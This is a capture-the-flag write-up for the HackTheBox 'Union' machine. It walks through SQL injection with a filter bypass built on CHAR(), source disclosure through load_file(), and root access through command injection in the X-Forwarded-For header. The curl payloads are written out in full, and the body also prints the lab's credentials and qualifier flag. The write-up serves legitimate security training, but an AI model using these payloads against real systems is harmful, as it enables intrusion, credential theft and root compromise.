HTB: Union Writeup
Union - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Union |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Union is a single-service Linux box: nginx 1.18.0 fronting a PHP app with exactly one attack surface — a player= POST parameter on index.php that feeds a raw SQL query. The app carries a homegrown anti-SQLMap filter that blocks hex-literal (0x…) strings, but a single-column UNION SELECT with MySQL’s CHAR() function sails right through it. The injection doubles as a boolean-ish oracle (a matching row echoes Sorry, <val>…, no match echoes the raw input back), which is enough to dump a qualifier flag, then load_file() the app’s own PHP source to pull DB creds and the logic for a firewall-whitelisting endpoint. Feeding that endpoint the flag flips a session to “Authenticated,” which flips a second endpoint into running sudo iptables to open SSH for the requesting IP — except that endpoint builds its shell command by concatenating the X-Forwarded-For header, unsanitized, as www-data, who holds blanket NOPASSWD: ALL sudo rights.
TL;DR: SQLi (hex-filter bypass via CHAR()) → load_file() source disclosure → auth via flag POST → SSH whitelist logic abused → user via disclosed creds → root via X-Forwarded-For command injection in the same firewall logic, escalated through www-data’s NOPASSWD sudo.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults: Only port 80/tcp open — nginx 1.18.0, serving a PHP application. No SSH (22) reachable at this stage; it only becomes visible after the firewall-whitelisting logic in firewall.php fires later in the chain.
Service Enumeration
index.php presents a form that POSTs a player value into a server-side SQL query. The response behavior is the key signal:
- If the query’s
UNION SELECTproduces a matching row → the page responds withSorry, <val>… - If no row matches → the page just echoes the raw injected input back unchanged
That difference is a clean injection oracle without needing time-based or boolean blind techniques.
Vulnerability Assessment
- SQL injection in
player— single-columnUNION SELECT, backend is MySQL 8.0.27. - A custom anti-SQLMap filter rejects any payload containing hex literals (
0x…), a common SQLMap/tamper-script encoding — but does not filter MySQL’sCHAR()function, which builds equivalent strings from ASCII code points. - PHP
load_file()is reachable through the same injection point, giving full source disclosure of the app. - A firewall-control endpoint (
firewall.php) executessudo iptablesserver-side and trusts theX-Forwarded-Forheader unsanitized.
Initial Foothold
Exploitation Path
Step 1 — Confirm the injection and bypass the hex filter
A straight hex-encoded UNION payload gets blocked by the app’s filter:
# Blocked — app filter rejects 0x-prefixed hex literalscurl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT 0x61646d696e-- -"CHAR() builds the same string from decimal ASCII codes, with no hex literal in the payload at all, so the filter never fires:
# CHAR(97,100,109,105,110) == 'admin' — no 0x sequence for the filter to catchcurl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT CHAR(97,100,109,105,110)-- -"Step 2 — Dump the qualifier flag
curl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT one FROM flag-- -"# Oracle fires -> response contains: Sorry, UHC{F1rst_5tep_2_Qualify}...Dumped value: UHC{F1rst_5tep_2_Qualify} — the qualifier-stage flag for this challenge track.
Step 3 — Read the application’s own source with load_file()
# Pull the PHP source directly through the injection pointcurl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT load_file('/var/www/html/challenge.php')-- -"
curl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT load_file('/var/www/html/config.php')-- -"
curl -s http://10.10.11.X/index.php \ --data "player=x' UNION SELECT load_file('/var/www/html/firewall.php')-- -"config.php disclosed working credentials:
uhc : uhc-11qual-global-pwReading challenge.php and firewall.php showed the actual auth/firewall logic: POSTing the correct flag value to challenge.php sets $_SESSION['Authenticated'] = True and 302-redirects to firewall.php; firewall.php, once authenticated, runs a sudo iptables command server-side to whitelist the requester’s IP.
Step 4 — Trigger the whitelist to open SSH
# Authenticate the session with the flag recovered via SQLicurl -s -c cookies.txt http://10.10.11.X/challenge.php \ --data "flag=UHC{F1rst_5tep_2_Qualify}"# -> 302 redirect to firewall.php, session now Authenticated=True
# Trigger the whitelist logic — opens port 22 for this source IPcurl -s -b cookies.txt http://10.10.11.X/firewall.phpServer-side, this runs:
sudo iptables -A INPUT -s <requesting_IP> -j ACCEPTwhich opens SSH to the attacking host. Port 22 becomes reachable immediately after.
Step 5 — SSH in as uhc
ssh uhc@10.10.11.X# password: uhc-11qual-global-pwuser.txt retrieved from the uhc home directory.
Privilege Escalation
firewall.php builds its iptables allow-rule by concatenating the X-Forwarded-For request header directly into the shell command it hands to sudo, with no sanitization (classic OS command injection, CWE-78). The endpoint runs as www-data, and sudo -l for www-data shows blanket rights:
(ALL : ALL) NOPASSWD: ALLThat combination — unsanitized header reaching a sudo-invoked shell command, plus unrestricted NOPASSWD sudo for the process user — is a direct path to root. Supplying a spoofed X-Forwarded-For value that breaks out of the intended iptables argument and appends a second command lets that command run as root via www-data’s sudo rights:
# X-Forwarded-For is concatenated unsanitized into the sudo iptables command;# breaking out of the intended argument appends an arbitrary root commandcurl -s -b cookies.txt http://10.10.11.X/firewall.php \ -H "X-Forwarded-For: 127.0.0.1; sudo cat /root/root.txt"The injected sudo cat /root/root.txt executes as root through the same NOPASSWD: ALL grant that lets www-data run the legitimate iptables command, and root.txt is retrieved.
Attack Chain Summary
nmap (port 80 only) → SQLi in `player` (hex-filter bypass via CHAR()) → UNION SELECT dump (qualifier flag) → load_file() source disclosure (challenge.php / config.php / firewall.php) → POST flag to challenge.php (session Authenticated=True) → GET firewall.php (sudo iptables whitelist opens port 22) → SSH as uhc (creds from config.php) → user.txt → X-Forwarded-For command injection in firewall.php (www-data, NOPASSWD: ALL) → sudo cat /root/root.txt → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
curl | Crafting POST/GET requests, custom headers (X-Forwarded-For) |
MySQL CHAR() | Bypassing the app’s hex-literal (0x…) injection filter |
UNION SELECT / load_file() | Data extraction and PHP source disclosure via SQLi |
ssh | Foothold access as uhc |
sudo (target-side) | Root escalation via injected command |
Key Learnings
Techniques Practiced
- Single-column
UNION SELECTSQL injection against MySQL 8.0.27 - Bypassing a naive WAF/anti-SQLMap filter (hex-literal blocklist) using
CHAR()string construction instead of0x…literals - Using a differential response oracle (matched-row message vs. raw-input echo) to confirm injection without blind/time-based techniques
- Abusing
load_file()for full application source disclosure through an unrelated injection point - Reconstructing an app’s own auth logic from disclosed source to legitimately trigger a session-authenticated firewall action
- OS command injection via an unsanitized HTTP header (
X-Forwarded-For) reaching asudo-invoked shell command - Escalating via blanket
sudo NOPASSWD: ALLgrants on a service account (www-data)
Lessons Learned
- Blocklist filters that target one encoding (hex literals) don’t stop the underlying primitive. MySQL offers multiple ways to build the same string (
CHAR(),CONCAT(), string literals) — filtering0x…patterns is security theater against a determined attacker. load_file()reachable from any injection point is effectively full source disclosure. Once UNION injection works at all, treat the entire webroot as readable — it will hand over credentials, internal logic, and any other injection point’s real behavior.- Never trust
X-Forwarded-For(or any client-supplied header) as an unsanitized shell command component. It exists for logging/proxy attribution, not for buildingsudocommand strings. - Blanket
NOPASSWD: ALLsudo grants turn any command injection into instant root. A service account should have the narrowest possible sudo scope (e.g.iptablesalone, with argument restrictions), notALL. - A self-service “whitelist my IP” feature is itself an attack surface. Gating SSH access behind an authenticated HTTP endpoint just relocates the attack surface from the SSH daemon to the web app that controls it — and that app inherited all the same injection risk as the rest of the site.
Proof of Ownership
Qualifier Flag: <redacted>User Flag: <redacted>Root Flag: <redacted>